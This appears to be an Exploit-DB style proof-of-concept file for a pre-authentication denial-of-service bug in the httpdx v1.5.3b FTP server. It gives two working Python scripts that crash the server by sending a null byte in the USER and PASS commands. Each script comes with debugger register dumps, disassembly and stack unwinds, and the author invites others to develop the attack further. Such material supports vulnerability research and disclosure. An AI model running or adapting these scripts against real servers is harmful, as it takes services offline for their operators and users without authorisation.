142 lines
No EOL
3.7 KiB
Python
Executable file
142 lines
No EOL
3.7 KiB
Python
Executable file
# Title: httpdx v1.5.3b Multiple - Remote Pre-Authentication DoS (PoC crash)
|
|
# From: The eh?-Team || The Great White Fuzz (we're not sure yet)
|
|
# Found by: loneferret
|
|
# Hat's off to dookie2000ca
|
|
# Date: 13/03/2010
|
|
# Software link: http://httpdx.sourceforge.net/downloads/
|
|
# Tested on: Windows XP SP3 Professional
|
|
|
|
# Nod to the Exploit-DB Team
|
|
|
|
#Not to beat a dead horse, but when I saw the latest release notes
|
|
#about how he fixed a few security bugs. I figured I'd give this one
|
|
#another go at it.
|
|
#He did fix quite a few bugs, but he created this one in the process.
|
|
#I've included 2 PoCs for both the USER & PASS command.
|
|
|
|
#As always, if anyone wants to take this further, go right ahead.
|
|
|
|
#============================USER Command===============================
|
|
#CONTEXT DUMP
|
|
# EIP: 77c47b79 mov [edi],eax
|
|
# EAX: 00000000 ( 0) -> N/A
|
|
# EBX: fffffffa (4294967290) -> N/A
|
|
# ECX: 3ffff68b (1073739403) -> N/A
|
|
# EDX: 7efeff1f (2130640671) -> N/A
|
|
# EDI: 003f0000 ( 4128768) -> N/A
|
|
# ESI: 003eca36 ( 4114998) -> (heap)
|
|
# EBP: 0022dde4 ( 2285028) -> "@(>t"@@(>@@(>@@(>(>(> (stack)
|
|
# ESP: 0022ba9c ( 2275996) -> 0> (stack)
|
|
# +00: 003eca30 ( 4114992) -> USER (heap)
|
|
# +04: 00000000 ( 0) -> N/A
|
|
# +08: 00000000 ( 0) -> N/A
|
|
# +0c: 0040d663 ( 4249187) -> N/A
|
|
# +10: 003eda30 ( 4119088) -> (heap)
|
|
# +14: 003eca35 ( 4114997) -> (heap)
|
|
|
|
#disasm around:
|
|
# 0x77c47b61 and edx,0xff
|
|
# 0x77c47b67 mov [edi],edx
|
|
# 0x77c47b69 jmp 0x77c47b6f
|
|
# 0x77c47b6b xor edx,edx
|
|
# 0x77c47b6d mov [edi],edx
|
|
# 0x77c47b6f add edi,0x4
|
|
# 0x77c47b72 xor eax,eax
|
|
# 0x77c47b74 dec ecx
|
|
# 0x77c47b75 jz 0x77c47b81
|
|
# 0x77c47b77 xor eax,eax
|
|
# 0x77c47b79 mov [edi],eax
|
|
# 0x77c47b7b add edi,0x4
|
|
# 0x77c47b7e dec ecx
|
|
# 0x77c47b7f jnz 0x77c47b79
|
|
# 0x77c47b81 and ebx,0x3
|
|
# 0x77c47b84 jnz 0x77c47b0b
|
|
# 0x77c47b86 mov eax,[esp+0x10]
|
|
# 0x77c47b8a pop ebx
|
|
# 0x77c47b8b pop esi
|
|
# 0x77c47b8c pop edi
|
|
# 0x77c47b8d ret
|
|
|
|
#stack unwind:
|
|
# httpdx.exe:0040ffec
|
|
# kernel32.dll:7c80b713
|
|
|
|
#SEH unwind:
|
|
# ffffffff -> kernel32.dll:7c839ac0 push ebp
|
|
|
|
#!/usr/bin/python
|
|
|
|
import socket
|
|
|
|
buffer = "\000"
|
|
|
|
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
|
connect=s.connect(('xxx.xxx.xxx.xxx',21)) #Remember to put in the server's address
|
|
s.recv(1024)
|
|
s.send('USER '+ buffer +'\r\n')
|
|
s.recv(1024)
|
|
s.close
|
|
|
|
|
|
#============================PASS Command===============================
|
|
|
|
#CONTEXT DUMP
|
|
# EIP: 77c47b79 mov [edi],eax
|
|
# EAX: 00000000 ( 0) -> N/A
|
|
# EBX: fffffffa (4294967290) -> N/A
|
|
# ECX: 3ffed77d (1073665917) -> N/A
|
|
# EDX: 7efeff1f (2130640671) -> N/A
|
|
# EDI: 00c63000 ( 12988416) -> N/A
|
|
# ESI: 00c17cfe ( 12680446) -> (heap)
|
|
# EBP: 0186dde4 ( 25615844) -> @|t@@|@@|@@||| (stack)
|
|
# ESP: 0186ba9c ( 25606812) -> |)@| PASS (heap)
|
|
# +04: 00000000 ( 0) -> N/A
|
|
# +08: 00000000 ( 0) -> N/A
|
|
# +0c: 0040d729 ( 4249385) -> N/A
|
|
# +10: 00c18df8 ( 12684792) -> (heap)
|
|
# +14: 00c17cfd ( 12680445) -> (heap)
|
|
|
|
#disasm around:
|
|
# 0x77c47b61 and edx,0xff
|
|
# 0x77c47b67 mov [edi],edx
|
|
# 0x77c47b69 jmp 0x77c47b6f
|
|
# 0x77c47b6b xor edx,edx
|
|
# 0x77c47b6d mov [edi],edx
|
|
# 0x77c47b6f add edi,0x4
|
|
# 0x77c47b72 xor eax,eax
|
|
# 0x77c47b74 dec ecx
|
|
# 0x77c47b75 jz 0x77c47b81
|
|
# 0x77c47b77 xor eax,eax
|
|
# 0x77c47b79 mov [edi],eax
|
|
# 0x77c47b7b add edi,0x4
|
|
# 0x77c47b7e dec ecx
|
|
# 0x77c47b7f jnz 0x77c47b79
|
|
# 0x77c47b81 and ebx,0x3
|
|
# 0x77c47b84 jnz 0x77c47b0b
|
|
# 0x77c47b86 mov eax,[esp+0x10]
|
|
# 0x77c47b8a pop ebx
|
|
# 0x77c47b8b pop esi
|
|
# 0x77c47b8c pop edi
|
|
# 0x77c47b8d ret
|
|
|
|
#stack unwind:
|
|
# httpdx.exe:0040ffec
|
|
# kernel32.dll:7c80b713
|
|
|
|
#SEH unwind:
|
|
# ffffffff -> kernel32.dll:7c839ac0 push ebp
|
|
|
|
#!/usr/bin/python
|
|
|
|
import socket
|
|
|
|
buffer = "\000"
|
|
|
|
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
|
connect=s.connect(('xxx.xxx.xxx.xxx',21)) #Remember to put in the server's address
|
|
s.recv(1024)
|
|
s.send('USER test\r\n')
|
|
s.recv(1024)
|
|
s.send('PASS ' + buffer + '\r\n')
|
|
s.recv(1024)
|
|
s.close |